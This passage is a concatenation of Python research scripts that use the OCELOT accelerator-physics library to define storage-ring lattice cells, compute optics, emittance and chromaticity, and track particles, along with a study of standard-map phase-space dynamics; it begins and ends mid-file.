drf4, qrf4, drf5, qrf5, drf6, qrf6, drf7, mrfe ) celarc1 = (celarc*16, celarce, rf_cell, celarcs, celarc*16) machine = (celarc1, exss, celarc*32, ss, celarc*32, exss, celarc*32,ss) beam = Beam() beam.E = 5.0 # variable names for lattice designer __lattice__ = celarc __beam__ = beam __tws__ = None<file_sep> from ocelot.gui.accelerator import * import ocelot from ocelot import * from pylab import * from ocelot.cpbd.chromaticity import * from scipy.integrate import simps from copy import deepcopy from scipy.optimize import * d0 = Drift (l = 5.0, eid = "D0") qf = Quadrupole (l = 0.25, k1 = 0.9, eid = "QF") qd = Quadrupole (l = 0.25, k1 = -0.9, eid = "QD") b1=SBend(l=0.005, angle=0.001) b2=SBend(l=0.005, angle=-0.001) d0=(b1,b2,b2,b1)*200 fodo = (d0,qf, d0, qd) beam = Beam() beam.E = 6.0 beam.beta_x = 9.03267210229 beam.beta_y = 0.573294833302 beam.Dx = 2.0 beam.Dxp = 10.0 beam.beta_x = 0 beam.beta_y = 0 beam.Dx = 2.0 beam.Dxp = 10.0 lat = MagneticLattice( (fodo) ) tws=twiss(lat, Twiss(beam), nPoints=10000) plot_opt_func(lat, tws, legend = False) H = np.array([(1. + t.alpha_x**2)/ t.beta_x * t.Dx**2 + t.beta_x*t.Dxp**2 + 2*t.alpha_x*t.Dx*t.Dxp for t in tws]) plt.figure() plt.plot([t.s for t in tws], H) print(simps(H,[t.s for t in tws])) plt.show() <file_sep>''' cell 2 fodo ''' from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * qm1 = Quadrupole(l=0.2, k1 = -1) qm2 = Quadrupole(l=0.2, k1 = 1.9) d1 = Drift(l=0.01) d2 = Drift(l=1.) d3 = Drift(l=0.8) qf = Quadrupole(l=0.2, k1 = 0.9) qd = Quadrupole(l=0.2, k1 = -0.9) df = Drift(l=7.7) f_cell = (d1,qm1,d2,qm2,d3,qf,df,qd,df,qf,df,qd,df, qf,df,qd,df,qf,df,qd,df, qf, d3, qm2, d2, qm1, d1 ) beam = Beam() beam.E = 5.0 beam.beta_x = 2.83565998873 beam.beta_y = 26.6776307783 beam.alpha_x = -2.63151863804 beam.alpha_y = 2.88797252516 # variable names for lattice designer __lattice__ = f_cell __beam__ = beam __tws__ = Twiss(beam) <file_sep>from ocelot import * import sys D11 = Drift(l=2.908094200746698) D12 = Drift(l=0.4050838254873592) D13 = Drift(l=0.05014404837641349) S02A_P0 = Marker() # monitor S02B_P0 = Marker() # monitor S02A_Q1 = Quadrupole(l=0.25,k1=3.311988223666687) S02B_Q1 = Quadrupole(l=0.25,k1=3.311988223666687) S02A_Q2 = Quadrupole(l=0.225,k1=-2.806503327862326) S02B_Q2 = Quadrupole(l=0.225,k1=-2.806503327862326) S02A_Q3 = Quadrupole(l=0.225,k1=-2.289738957179781) S02B_Q3 = Quadrupole(l=0.225,k1=-2.289738957179781) S02A_Q4 = SBend(l=0.244,angle=-0.001706915788384977,k1=3.44665225417214,e1=-0.0008534578941924886,e2=-0.0008534578941924886) S02B_Q4 = SBend(l=0.244,angle=-0.001706915788384977,k1=3.44665225417214,e1=-0.0008534578941924886,e2=-0.0008534578941924886) S02A_Q5 = SBend(l=0.15,angle=-0.001157494675584733,k1=1.578426896828277,e1=-0.0005787473377923666,e2=-0.0005787473377923666) S02B_Q5 = SBend(l=0.15,angle=-0.001157494675584733,k1=1.578426896828277,e1=-0.0005787473377923666,e2=-0.0005787473377923666) S02A_Q6 = Quadrupole(l=0.225,k1=-2.463268052877983) S02B_Q6 = Quadrupole(l=0.225,k1=-2.463268052877983) S02A_Q7 = Quadrupole(l=0.424,k1=3.720956199980586) S02B_Q7 = Quadrupole(l=0.424,k1=3.720956199980586) IDAP = Marker() # aperture AP = Marker() # aperture PAAP1 = Marker() # aperture S02A_P1 = Marker() # monitor S02A_F8P1 = Marker(); # originally 0-length thing with skew quad and kicker S02G1 =(D11,S02A_P0,IDAP,AP,S02A_Q1,PAAP1,S02A_P1,D12,S02A_F8P1,S02A_Q2,D13) PABP1 = Marker() S02B_F8P1 = Marker() S02B_P1 = Marker() S02G9R =(D11,S02B_P0,IDAP,AP,S02B_Q1,S02B_P1,PABP1,D12,S02B_F8P1,S02B_Q2,D13) S02G9 =S02G9R[::-1] MEA = Marker() MEAQ = Marker() S02A_M1_1 = SBend(l=0.1918442167511646,angle=0.006231803373120651,e1=0.01428579517461679,e2=-0.008053991801496133) S02A_M1_2 = SBend(l=0.2329808449846517,angle=0.004652921987100712,e1=0.008053991801496133,e2=-0.003401069814395421) S02A_M1_3 = SBend(l=0.4931459233303774,angle=0.00665360325628307,e1=0.003401069814395421,e2=0.003252533441887649) S02A_M1_4 = SBend(l=0.6710407783161596,angle=0.006543582722312399,e1=-0.003252533441887649,e2=0.009796116164200048) S02A_M1_5 = SBend(l=0.6358861013789447,angle=0.004489679010416737,e1=-0.009796116164200048,e2=0.01428579517461679) S02B_M1_1 = SBend(l=0.1918442167511646,angle=0.006231803373120651,e1=0.01428579517461679,e2=-0.008053991801496133) S02B_M1_2 = SBend(l=0.2329808449846517,angle=0.004652921987100712,e1=0.008053991801496133,e2=-0.003401069814395421) S02B_M1_3 = SBend(l=0.4931459233303774,angle=0.00665360325628307,e1=0.003401069814395421,e2=0.003252533441887649) S02B_M1_4 = SBend(l=0.6710407783161596,angle=0.006543582722312399,e1=-0.003252533441887649,e2=0.009796116164200048) S02B_M1_5 = SBend(l=0.6358861013789447,angle=0.004489679010416737,e1=-0.009796116164200048,e2=0.01428579517461679) S02A_M2_1 = SBend(l=0.2918558259213946,angle=0.002351573364742646,e1=0.01164721598470094,e2=-0.009295642619958291) S02A_M2_2 = SBend(l=0.3585886481950252,angle=0.003259700715380325,e1=0.009295642619958291,e2=-0.006035941904577966) S02A_M2_3 = SBend(l=0.486869605945606,angle=0.005176222536330231,e1=0.006035941904577966,e2=-0.0008597193682477354) S02A_M2_4 = SBend(l=0.3076438971768664,angle=0.003868138226183781,e1=0.0008597193682477354,e2=0.003008418857936046) S02A_M2_5 = SBend(l=0.5397184855320805,angle=0.008638797126764892,e1=-0.003008418857936046,e2=0.01164721598470094) S02B_M2_1 = SBend(l=0.2918558259213946,angle=0.002351573364742646,e1=0.01164721598470094,e2=-0.009295642619958291) S02B_M2_2 = SBend(l=0.3585886481950252,angle=0.003259700715380325,e1=0.009295642619958291,e2=-0.006035941904577966) S02B_M2_3 = SBend(l=0.486869605945606,angle=0.005176222536330231,e1=0.006035941904577966,e2=-0.0008597193682477354) S02B_M2_4 = SBend(l=0.3076438971768664,angle=0.003868138226183781,e1=0.0008597193682477354,e2=0.003008418857936046) S02B_M2_5 = SBend(l=0.5397184855320805,angle=0.008638797126764892,e1=-0.003008418857936046,e2=0.01164721598470094) S02A_M3_1 = SBend(l=0.41,angle=0.0125396570573382,k1=-2.102081026538629,e1=0.0125396570573382) S02A_M3_2 = SBend(l=0.41,angle=0.0125396570573382,k1=-2.102081026538629,e2=0.0125396570573382) S02B_M3_1 = SBend(l=0.41,angle=0.0125396570573382,k1=-2.102081026538629,e1=0.0125396570573382) S02B_M3_2 = SBend(l=0.41,angle=0.0125396570573382,k1=-2.102081026538629,e2=0.0125396570573382) S02A_M1 = (S02A_M1_1,S02A_M1_2,S02A_M1_3,S02A_M1_4,S02A_M1_5) S02B_M1 = (S02B_M1_5,S02B_M1_4,S02B_M1_3,S02B_M1_2,S02B_M1_1) S02A_M2 = (S02A_M2_1,S02A_M2_2,S02A_M2_3,S02A_M2_4,S02A_M2_5) S02B_M2 = (S02B_M2_5,S02B_M2_4,S02B_M2_3,S02B_M2_2,S02B_M2_1) S02A_M3 = (S02A_M3_1,S02A_M3_2) S02B_M3 = (S02B_M3_1,S02B_M3_2) S02G2 =(MEA,MEAQ,S02A_M1,MEA) S02G8R =(MEA,MEAQ,S02B_M1,MEA) S02G8 = S02G8R[::-1] D21A = Drift(l=0.1261130139900061) D21B = Drift(l=0.1186762596753099) D24 = Drift(l=0.274356565603497) D25 = Drift(l=0.1100000007807403) D26 = Drift(l=0.1406971943591799) D27 = Drift(l=0.3249533473724555) D28 = Drift(l=0.1481070804106769) D29 = Drift(l=0.05001490735387127) D51= Drift(l=0.05000239994950361) D52= Drift(l=0.2157226954362602) D53= Drift(l=0.115030162986725) D54= Drift(l=0.2706450913189496) D55A= Drift(l=0.06032254565947483) D55B = Drift(l=0.06032254565947483) WIGH = Drift(l=0.075) WIGM = Marker() WIGBL =(D55A,WIGH,WIGM,WIGH,D55B) S02A_P2 = Marker() S02B_P2 = Marker() S02A_S1L = Sextupole(l=0.1147718431634487,k2=-145.4210458921619) S02B_S1L = Sextupole(l=0.1147718431634487,k2=-136.6968898921619) S02A_S2L = Sextupole(l=0.1298984164119772,k2=132.8776653978636) S02B_S2L = Sextupole(l=0.1298984164119772,k2=140.0338894978636) S02A_S3L = Sextupole(l=0.1147718431634487,k2=-115.2625136921619) S02B_S3L = Sextupole(l=0.1147718431634487,k2=-126.2773908921619) S02A_P3 = Marker() S02A_P4 = Marker() S02A_F8P2 = Marker() S02B_P3 = Marker() S02B_P4 = Marker() S02B_F8P2 = Marker() PAAP4 = Marker() PAAP3 = Marker() PABP2 = Marker() PABP3 = Marker() PABP4 = Marker() dins = Drift(l=0.41) S02G3 = (D21A,S02A_Q3, D21B,S02A_P2,S02A_S1L,D24,S02A_Q4,PAAP3,S02A_P3,D25,S02A_S2L, D26, S02A_Q5, D27,S02A_F8P2,S02A_S3L,PAAP4, S02A_P4,D28, dins ,S02A_Q6,D29) S02G7R = (D21A,S02B_Q3,D21B,S02B_P2,PABP2,S02B_S1L,D24,S02B_Q4, S02B_P3,PABP3,D25,S02B_S2L,D26,S02B_Q5,D27,S02B_F8P2,S02B_S3L, S02B_P4,PABP4,D28,dins, S02B_Q6,D29) S02G7 = S02G7R[::-1] S02G4 = (MEA,S02A_M2,MEA) S02G6R = (MEA,S02B_M2,MEA) S02G6 = S02G6R[::-1] S02A_Q8 = SBend(l=0.646,angle=-0.005358586672065405,k1=3.681034532090332,e1=-0.002679293336032703,e2=-0.002679293336032703) S02B_Q8 = SBend(l=0.646,angle=-0.005358586672065405,k1=3.681034532090332,e1=-0.002679293336032703,e2=-0.002679293336032703) S02A_M4_1 = SBend(l=0.35, angle=0.009817477042468103,k1=-2.190470816373653,e1=0.009817477042468103) S02A_M4_2 = SBend(l=0.35, angle=0.009817477042468103,k1=-2.190470816373653,e2=0.009817477042468103) S02A_M4 = (S02A_M4_1, S02A_M4_2) S02G5 = (D51,S02A_Q7,D52,S02A_M3,D53,S02A_Q8, D54,S02A_M4,WIGBL,S02B_Q8,D53,S02B_M3,D52, S02B_Q7,D51) S02 =(S02G1,S02G2,S02G3,S02G4,S02G5,S02G6,S02G7,S02G8,S02G9) #S02 =(S02G1,S02G2,S02G3,S02G4) lat = MagneticLattice(S02) a_scale = 1.0 l_scale = 1.0 for e in lat.sequence: #if e.__class__ in (SBend, Bend): e.angle /= a_scale if e.__class__ in (Quadrupole,SBend, Bend): e.k1 *= (l_scale)**2 #if e.__class__ in (Sextupole,): e.k2 *= (l_scale)**3 e.l /= l_scale lat.update_transfer_maps() beam = Beam() beam.E = 6.0 tws0 = Twiss(beam) tws0.beta_x = 4.93 tws0.beta_y = 1.89 tws0.dx = 5.7e-4 #tws = twiss(lat, tws0, nPoints=100) tws = twiss(lat, nPoints=100) eb = EbeamParams(lat, beam, nsuperperiod=1) print(eb.emittance * 1.e12) print(eb) ang = 0.0 for e in lat.sequence: #print e, e.__class__ if e.__class__ in (SBend, Bend): ang += e.angle if e.__class__ in (SBend, Bend, Quadrupole): print 'gradient:', (e.k1) * 6.0 / 0.299, 'T/m' print 'total angle:', ang / pi * 180 from ocelot.gui.accelerator import * from pylab import * plot_opt_func(lat, tws, legend = False) plt.show() <file_sep># fodo lattice from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * from pylab import * from copy import deepcopy from scipy.optimize import * from fodo import * beam = Beam() beam.E = 5.0 ''' beam.beta_x = 9.46309318066 beam.beta_y = 2.72867802371 beam.alpha_x = -1.93123240939 beam.alpha_y = 0.605122378761 beam.Dx = 0.440549263184 beam.Dxp = 0.0906141292549 ''' lat = MagneticLattice(cell) tws0 = Twiss() tws0.x = 0.1 tws=twiss(lat, tws0) #plot_opt_func(lat, tws, top_plot = ["x", "y"], hold = False) plot_opt_func(lat, tws, top_plot = ["mux", "muy"], hold = False) tw0 = tws[0] n = 1000 plist = [] for i in range(n): x, px = ellipse_from_twiss(15.e-5, tw0.beta_x, tw0.alpha_x) #y, py = ellipse_from_twiss(7.e-6, tw0.beta_y, tw0.alpha_y) y, py = 0., 0. plist.append(Particle(x=x, px=px, y=y, py=py)) figx = plt.figure('x') axx = figx.add_subplot(111) axx.plot([p.x for p in plist], [p.px for p in plist],'b.') figy=plt.figure('y') axy = figy.add_subplot(111) axy.plot([p.y for p in plist], [p.py for p in plist],'b.') ''' navi = Navigator() navi.z0 = 0 dz = lat.totalLen / 17 while navi.z0 < lat.totalLen: track(lat, plist, dz=dz, navi=navi, order=2) #print navi.z0 #axx.plot([p.x for p in plist], [p.px for p in plist],'r.', alpha = 0.2) #axy.plot([p.y for p in plist], [p.py for p in plist],'r.', alpha = 0.2) axx.plot([p.x for p in plist], [p.px for p in plist],'r.') axy.plot([p.y for p in plist], [p.py for p in plist],'r.') ''' for i in range(150): print 'turn', i navi = Navigator() track(lat, plist, dz=lat.totalLen, navi=navi, order=2) #track_nturns(lat, 1, plist, order=1) axx.plot([p.x for p in plist], [p.px for p in plist],'g.') axy.plot([p.y for p in plist], [p.py for p in plist],'g.') between_sext = MagneticLattice( ( d2, B1, d3, d4, Q2, d5) ) R = lattice_transfer_map(between_sext, 5.0) print np.linalg.norm(R - eye(6)) print between_sext.totalLen plt.show() <file_sep># fodo lattice from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * from pylab import * from copy import deepcopy from scipy.optimize import * D4 = Drift (l = 0.33) SF = Sextupole(l = 0, ms = 100.7673786254063251) SD = Sextupole(l = 0, ms = -300.6169817233025707) Q1 = Quadrupole (l = 0.293, k1 = 1.39) Q2 = Quadrupole (l = 0.293, k1 = -1.39) B1 = SBend(l = 2.0, angle = 0.04) B2 = SBend(l = 1.227, angle = 0.04) fodo = (Q1,D4, B1, D4, Q2, D4, B1, D4) m1 = Marker() m2 = Marker() cell = (m1,fodo,m2) beam = Beam() beam.E = 5.0 beam.beta_x = 0 beam.beta_y = 0 beam.alpha_x = 0 beam.alpha_y = 0 lat = MagneticLattice(cell) tw0 = Twiss(beam) tws=twiss(lat, Twiss()) plot_opt_func(lat, tws) mux = [] muy = [] I2 = [] I5 = [] cx = [] cy = [] for k in linspace(0.7, 2.39, 20): Q1.k1 = k Q2.k1 = -k lat.update_transfer_maps() tws=twiss(lat, Twiss(), nPoints = 1000) c1, c2 = natural_chromaticity(lat, tws[0]) mux.append(tws[-1].mux * 180 / pi ) muy.append(tws[-1].muy * 180 / pi) eb = EbeamParams(lat, beam, nsuperperiod=1) I2.append(eb.I2) I5.append(eb.I5) cx.append(c1) cy.append(c2) fig = plt.figure() ax = fig.add_subplot(111) ax.plot(mux, np.array(I5) * 1.e6, lw = 3) ax.set_xlabel(r'$\mu_x$') ax.set_ylabel(r'$I_5, 10^{-6}$') fig = plt.figure() ax = fig.add_subplot(111) ax.plot(mux, cx, lw = 3) ax.plot(mux, cy, lw = 3) ax.set_xlabel(r'$\mu_x$') ax.set_ylabel(r'$\xi_x, \xi_y$') plt.show() <file_sep>''' focusing triplet, collider-like ''' from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * q1 = Quadrupole(l=0.2, k1 = -1.16, id='q1') q2 = Quadrupole(l=0.2, k1 = 2.6, id='q2') q3 = Quadrupole(l=0.2, k1 = -1.5, id='q3') q4 = Quadrupole(l=0.2, k1 = 1.7, id='q4') qf = Quadrupole(l=0.2, k1 = 1.7, id='qf') qd = Quadrupole(l=0.2, k1 = -1.5, id='qd') q1.k1 = -1.43901707307 q2.k1 = 2.78888482827 q3.k1 = -1.44427225283 q4.k1 = 1.79336370172 qf.k1 = 1.8784277055 qd.k1 = -1.60352185869 old_values = {} knob = {} for v in (q1,q2,q3,q4,qf,qd): old_values[v] = v.k1 d1 = Drift(l=1.17062264707) d2 = Drift(l=0.801733628235) d3 = Drift(l=4.31143677929) d4 = Drift(l=5.39051978371) d = Drift(l=5.) ms = Marker() me = Marker() lss = (ms,d1,q1,d2,q2,d3,q3,d4,q4,d,qd,d,qf,d,qd,d,q4,d4,q3,d3,q2,d2,q1,d1, me) beam = Beam() beam.E = 5.0 beam.beta_x = 7.62327 beam.beta_y = 10.19622 beam.alpha_x = -2.60532 beam.alpha_y = -0.28820 tw0 = Twiss(beam) lat = MagneticLattice(lss) constr = {} constr['global'] = {'beta_x':['<',38], 'beta_y':['<',38]} constr[me] = {'beta_x':beam.beta_x, 'alpha_y':-beam.alpha_y, 'beta_y':beam.beta_y, 'alpha_y':-beam.alpha_y } #varz = [q1,q2,q3,q4,qf,qd, d1, d2, d3, d4] varz = [q1,q2,q3,q4,qf,qd] #match(lat, constr, varz, tw0, max_iter=5000, method='simplex') print 'values:' for v in varz: if v.__class__ in (Quadrupole, SBend): print v.id, '=', v.k1 if v.__class__ in (Drift,): print v.id, 'l=', v.l lat.update_transfer_maps() tws=twiss(lat, Twiss(beam), nPoints=100) mux = tws[-1].mux muy = tws[-1].muy print ( mux, muy ) mux_new = mux + 0.1 muy_new = muy + 0. constr = {} constr[me] = {'beta_x':beam.beta_x, 'alpha_y':-beam.alpha_y, 'beta_y':beam.beta_y, 'alpha_y':-beam.alpha_y ,'mux':mux_new, 'muy':muy_new } varz = [q1,q2,q3,q4, qf,qd] #match(lat, constr, varz, tw0, max_iter=5000, method='simplex') print 'values:' for v in varz: if v.__class__ in (Quadrupole, SBend): print v.id, '=', v.k1 knob[v] = v.k1 - old_values[v] if v.__class__ in (Drift,): print v.id, 'l=', v.l tws=twiss(lat, Twiss(beam), nPoints=100) plot_opt_func(lat, tws, legend = False) #print(tws[0]) #print(tws[-1]) print 'dmux:', tws[-1].mux - mux print 'dmuy:', tws[-1].muy - muy for e in knob.keys(): print e.id, '-->', knob[e] plt.show() mux_a = [] muy_a = [] a_a = [] ''' for a in linspace(-10, 10, 20): for v in (q1,q2,q3,q4,qf,qd): v.k1 = old_values[v] + a * knob[v] lat.update_transfer_maps() tws=twiss(lat, Twiss(beam), nPoints=100) a_a.append(a) mux_a.append(tws[-1].mux) muy_a.append(tws[-1].muy) plt.figure() plt.plot(a_a, mux_a, 'bd--') plt.plot(a_a, muy_a, 'gd--') plt.show() ''' knob_mux = {} knob_mux[q1] = -0.00596601955821 knob_mux[q2] = -0.000795885159465 knob_mux[qd] = -0.00298393106901 knob_mux[qf] = -0.0103114352294 knob_mux[q3] = 0.00342181853282 knob_mux[q4] = 0.0229556277793 north = (celarc*7, celarce, lss, celarcs, celarc*7) # variable names for lattice designer __lattice__ = lss __beam__ = beam __tws__ = Twiss(beam) __lattice_list__ = {'lss':(lss, __tws__),'north':(north, None)} __knobs__ = {'knob_mux':knob_mux} <file_sep># fodo lattice from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * from pylab import * from copy import deepcopy from scipy.optimize import * d1 = Drift (l = 0.2) d2 = Drift (l = 0.2) d3 = Drift (l = 0.2) d4 = Drift (l = 0.2) d5 = Drift (l = 0.1) d6 = Drift (l = 0.1) d7 = Drift (l = 0.4) sf = Sextupole(l = 0.1, k2 = 2.0, id="sf") sd = Sextupole(l = 0.1, k2 = -2.0, id="sd") sf0 = Drift(l = 0.1) sd0 = Drift(l = 0.1) Q1 = Quadrupole (l = 0.293, k1 = 1.2) Q2 = Quadrupole (l = 0.293, k1 = -1.2) B1 = SBend(l = 2.0, angle = 0.04) B2 = SBend(l = 1.227, angle = 0.04) #fodo = (Q1, sf, D4, B1, D4, Q2, sd, D4, B1, D4) fodo = (Q1, d1, sf, d2, B1, d3, d4, Q2, d5, sd, d6, B1, d7) m1 = Marker() m2 = Marker() cell = (m1,fodo,m2) beam = Beam() beam.E = 5.0 ''' beam.beta_x = 9.46309318066 beam.beta_y = 2.72867802371 beam.alpha_x = -1.93123240939 beam.alpha_y = 0.605122378761 beam.Dx = 0.440549263184 beam.Dxp = 0.0906141292549 ''' lat = MagneticLattice(cell) tws0 = Twiss() tws0.x = 0.1 tws=twiss(lat, tws0) #plot_opt_func(lat, tws, top_plot = ["x", "y"], hold = False) plot_opt_func(lat, tws, top_plot = ["mux", "muy"], hold = False) tw0 = tws[0] n = 1000 plist = [] for i in range(n): x, px = ellipse_from_twiss(15.e-3, tw0.beta_x, tw0.alpha_x) #y, py = ellipse_from_twiss(7.e-6, tw0.beta_y, tw0.alpha_y) y, py = 0., 0. plist.append(Particle(x=x, px=px, y=y, py=py)) figx = plt.figure('x') axx = figx.add_subplot(111) axx.plot([p.x for p in plist], [p.px for p in plist],'b.') figy=plt.figure('y') axy = figy.add_subplot(111) axy.plot([p.y for p in plist], [p.py for p in plist],'b.') ''' navi = Navigator() navi.z0 = 0 dz = lat.totalLen / 17 while navi.z0 < lat.totalLen: track(lat, plist, dz=dz, navi=navi, order=2) #print navi.z0 #axx.plot([p.x for p in plist], [p.px for p in plist],'r.', alpha = 0.2) #axy.plot([p.y for p in plist], [p.py for p in plist],'r.', alpha = 0.2) axx.plot([p.x for p in plist], [p.px for p in plist],'r.') axy.plot([p.y for p in plist], [p.py for p in plist],'r.') ''' for i in range(15): print 'turn', i navi = Navigator() track(lat, plist, dz=lat.totalLen, navi=navi, order=2) #track_nturns(lat, 1, plist, order=1) axx.plot([p.x for p in plist], [p.px for p in plist],'g.') axy.plot([p.y for p in plist], [p.py for p in plist],'g.') ''' between_sext = MagneticLattice( ( d2, B1, d3, d4, Q2, d5) ) R = lattice_transfer_map(between_sext, 5.0) print np.linalg.norm(R - eye(6)) print between_sext.totalLen ''' plt.show() <file_sep>''' interleavoing 2 snandard maps ''' from pylab import * ''' test mapping ''' from numpy import sin def sm(x0, y0, nt, a = 2.6): x = x0 y = y0 xs = [x0,] ys = [y0,] for i in range(nt): y = mod(y + a * sin(x), 2*pi) x = mod(x + y, 2*pi) xs.append(x) ys.append(y) #return np.array(xs), mod(np.array(ys) + pi, 2*pi) return np.array(xs), mod(np.array(ys), 2*pi) def sm2(x0, y0, nt, a = 2.6, b=2.6, phi=0.0): x = x0 y = y0 xs = [x0,] ys = [y0,] cs = np.cos(phi) ss = np.sin(phi) for i in range(nt): y = mod(y + a * sin(x), 2*pi) x = mod(x + y, 2*pi) x2 = x * cs + y * ss y2 = -x * ss + y * cs y2 = mod(y2 + b * sin(x2), 2*pi) x2 = mod(x2 + y2, 2*pi) x = x2 y = y2 xs.append(x) ys.append(y) #return np.array(xs), mod(np.array(ys) + pi, 2*pi) return np.array(xs), mod(np.array(ys), 2*pi) def plot_phase_space(): phi = 6.*pi/127. phi =0.0006 for a in np.linspace(1.3, 1.3, 1): ai = 1.11 bi = 1.11 ax = plt.figure().add_subplot(111) ax.set_xlim([pi - 1 ,pi + 1]) ax.set_ylim([pi - 1 ,pi + 1]) for x0 in np.linspace(0, 2*pi, 100): x, y = sm2(x0,0.0, 1000, a=ai, b=bi, phi=phi) #plt.plot(x, y, '.', color='black',alpha = 0.1) ax.plot(x, (y + pi) % (2 * pi), '.', color='black',alpha = 0.1) #ax.text(0.5, 0.5, 'hhoho', color='red', fontsize=15) ax.set_title("a={}, b = {}, phi={}".format(ai,bi, phi)) plt.show() def plot_sm_freq(): a = 0.9710 # 1.15 fig, ax = plt.subplots() for x0 in np.linspace(0, 2*pi, 100): x, y = sm2(x0,0.0, 1000, a=a) ax.plot(x,y,'.', color='black',alpha = 0.1) #plt.show() fig, ax = plt.subplots() fig2, ax2 = plt.subplots() fig3, ax3 = plt.subplots() for x0 in np.linspace(5.3, 5.3, 1): x, y = sm2(x0,0.0, 1000, a=a) ax.plot(x,y,'.', color='black',alpha = 0.1) ax.grid(True) ax2.plot(x,'.--', color='black') ax2.grid(True) spx = np.fft.fft(x - np.mean(x)) spx = np.abs(spx) spy = np.fft.fft(y - np.mean(y)) spy = np.abs(spy) freq = np.fft.fftfreq(len(spx), d=1) ax3.plot(freq,spx,'.-', color='black') ax3.plot(freq,spy,'.--', color='black') for x0 in np.linspace(5.4, 5.4, 1): x, y = sm(x0,0.0, 1000, a=a) ax.plot(x,y,'.', color='blue',alpha = 0.1) ax.grid(True) ax2.plot(x,'.--', color='blue') ax2.grid(True) spx = np.fft.fft(x - np.mean(x) ) spx = np.abs(spx) spy = np.fft.fft(y - np.mean(y)) spy = np.abs(spy) freq = np.fft.fftfreq(len(spx), d=1) ax3.plot(freq,spx,'.-', color='blue') ax3.plot(freq,spy,'.--', color='blue') plt.show() def scan_sm_freq(): a = 2.2 # 1.15 fig, ax = plt.subplots() qxs = [] qx2s = [] x0s = np.linspace(0, 2*pi, 1000) for x0 in x0s: x, y = sm2(x0,0.0, 1000, a=a) spx = np.fft.fft(x - np.mean(x)) spx = np.abs(spx) freq = np.fft.fftfreq(len(spx), d=1) n = len(freq)/2 qx = freq[0:n][argmax(spx[0:n])] ax.plot(x,mod(np.array(y)+pi, 2*pi),'.', color='black',alpha = 0.1) qxs.append(qx) x2, y2 = sm(x[-1],y[-1], 1000, a=a) spx = np.fft.fft(x2 - np.mean(x2)) spx = np.abs(spx) qx2 = freq[0:n][argmax(spx[0:n])] qx2s.append(qx2) ax2 = ax.twinx() ax2.plot(x0s, qxs, '.', lw=3) # d2F/dx^2 fig, ax3 = plt.subplots() ax3.plot(x0s[2:], np.diff(qxs,n=2), 'b.--', lw=3) ax4 = ax3.twinx() ax4.plot(x0s, np.array(qx2s) - np.array(qxs), 'r.--', lw=3) plt.show() import scipy.integrate import scipy.special def pendulum_frequencies(): a = 1.0 hs = np.linspace(0.001, a, 100) # minus separatrix where frequency diverges ps = sqrt(2*(hs)) # cut at q=0 vs = hs * 0 for i in range(len(hs)): q0 = arccos(-hs[i] / a) qs = np.linspace(-q0, q0, 100) fs = 1. / sqrt(a + hs[i] + a * cos(qs)) T = sqrt(2)*scipy.integrate.simps(fs,qs) vs[i] = 2 * pi / T plt.plot(ps,vs) plt.figure() ps = np.linspace(-1., 1., 100) # section qt q=pi, libration T = 1. / sqrt(ps**2 + 4*a) * scipy.special.ellipk( sqrt(4*a / (ps**2 + 4*a)) ) vs = 2.*pi / T plt.plot(ps,vs) plt.show() if __name__ == "__main__": plot_phase_space() #plot_sm_freq() #scan_sm_freq() #pendulum_frequencies() <file_sep>from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * np.set_printoptions(precision=2, suppress=True, linewidth=120) from pylab import * betay = 12.9327615792 betax = 1.40881394531 iidm = Matrix(rm13=-sqrt(betax/betay), rm24=-sqrt(betay/betax), rm31=sqrt(betay/betax), rm42=sqrt(betax/betay), l = 0.00001 ) machine = (iidm, Drift(l=0.00001)) lat = MagneticLattice( machine ) print lattice_transfer_map(lat, 5.0) navi = Navigator() t_maps = get_map(lat, lat.totalLen, navi, order=1) for t in t_maps: print t, t.type print t.R(5.0) print np.linalg.det(t.R(5.0)) print 'element by element:' R = np.eye(6) for e in lat.sequence: print e.transfer_map(e.l).R(5.0) R = np.dot( e.transfer_map(e.l).R(5.0) , R ) print 'mul test:' print R<file_sep># krimskrams # krimskrams <file_sep>''' cell for arcs with insertions ''' from ocelot import * from ocelot.gui.accelerator import * from ocelot.cpbd.chromaticity import * np.set_printoptions(precision=6, suppress=True, linewidth=120) ang_scale = 1.0 bk1 = -1.3755 bk2 = -1.3755 m1 = Marker() m2 = Marker() m3 = Marker() mcellee = Marker() d10 = Drift(l=0.18835) d1 = Drift(l=0.18835) d2 = Drift(l=1.045) d3 = Drift(l=0.7534) d4 = Drift(l=0.0471) d3e = Drift(1.26870121472) qd1 = Quadrupole(l=0.0471, k1=-8.2983, eid="qd1") qd2 = Quadrupole(l=0.18835, k1=-2.007, eid="qd2") qd2e = Quadrupole(l=0.18835, k1=-6.8, eid="qd2e") qd3 = Quadrupole(l=0.2, k1=-0.1, eid="qd3") qf1 = Quadrupole(l=0.18835, k1=2.5594, eid="qf1") qf2a = Quadrupole(l=0.09418, k1=3.890, eid="qf2a") qf2b = Quadrupole(l=0.09418, k1=3.890, eid="qf2b") qmd2e = Quadrupole(l=0.2, k1=-1.74472371472) qf0 = Quadrupole(l=0.18835, k1=3.0104, eid="qf0") b0 = SBend(l=0.09418, angle=0.000972*ang_scale, k1=bk1) b1 = SBend(l=0.09418, angle=0.000972*ang_scale, k1=0) b2 = SBend(l=0.09418, angle=0.0010*ang_scale, k1=0) b2e = SBend(l=0.1, angle=0.0010*ang_scale, k1=0.00) sf1 = Sextupole(l=0.2825, k2= 243.5, eid="sf1") nsext = 5 # splitting sextupole for tracking sf1 = ( (Sextupole(l=sf1.l / nsext , k2= 243.5 ), ) * nsext) ud1 = Drift(l=0.1) ud1e = Drift(l=0.2) ud2 = Drift(l=0.1) ud2e = Drift(l=0.1) uq0 = Quadrupole(l=0.2, k1=0.1, eid="uq0") uq0e = Quadrupole(l=0.2, k1=0.1, eid="uq0e") uq1 = Quadrupole(l=0.2, k1=-0.1, eid="uq1") ud0 = Drift(l=0.1) ud0e = Drift(l=3.21) be0 =(b0,b0,b0,b0,b0,b0,b0,b0) be1 = (b1,b1,b1,b1,qd1,qd1,b1,b1,b1,b1) b1m = SBend(l=0.09418, angle=0.000972*ang_scale, k1=qd1.k1 * qd1.l / (qd1.l + 4. * b1.l)) qd2.k1 = -7.1 qf2a.k1 = 6.7 qf2b.k1 = 